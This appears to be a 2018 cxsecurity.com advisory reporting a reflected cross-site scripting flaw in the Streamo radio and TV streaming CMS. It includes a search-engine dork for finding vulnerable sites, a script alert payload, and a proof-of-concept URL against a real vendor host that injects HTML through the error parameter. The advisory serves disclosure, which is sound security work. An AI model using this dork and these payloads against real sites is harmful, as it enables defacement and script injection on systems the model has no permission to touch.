Streamo - Online Radio And Tv Streaming CMS XSS vulnerability

2018.02.03
dz indoushka (DZ) dz
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

======================================================================== | # Title : Streamo - Online Radio And Tv Streaming CMS XSS vulnerability | # Author : indoushka | # email : indoushka4ever@gmail.com | # Tested on : windows 8.1 Français V.(Pro) | # Version : n/a | # Vendor : http://rexbd.net/ | # Dork : inurl:rjdetails.php?id= ======================================================================== poc : [+] Dorking İn Google Or Other Search Enggine [+] Use Payload : <script>alert(/indoushka/);</script> http://radio.rexbd.net/admin/index.php?error=%E2%B5%8F%E2%B4%BB%E2%B4%BD%E2%B4%BD%E2%B4%B0%E2%B4%B0%20%E2%B5%99%E2%B4%B0%E2%B5%8D%E2%B4%B0%E2%B5%80%20%E2%B4%BB%E2%B4%B7%E2%B4%B7%E2%B5%89%E2%B5%8F%E2%B4%BB%20(%E2%B5%89%E2%B5%8F%E2%B4%B7o%E2%B5%93%E2%B5%99%E2%B5%80%E2%B4%BD%E2%B4%B0)%3Cmarquee%3E%3Cfont%20color=lime=%3Eindoushka%3C/font%3E%3C/marquee%3E Greetz :---------------------------------------------------------------------------------------- | jericho * Larry W. Cashdollar * shadow0075 * djroot.dz *Gjoko 'LiquidWorm' Krstic | | ================================================================================================


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top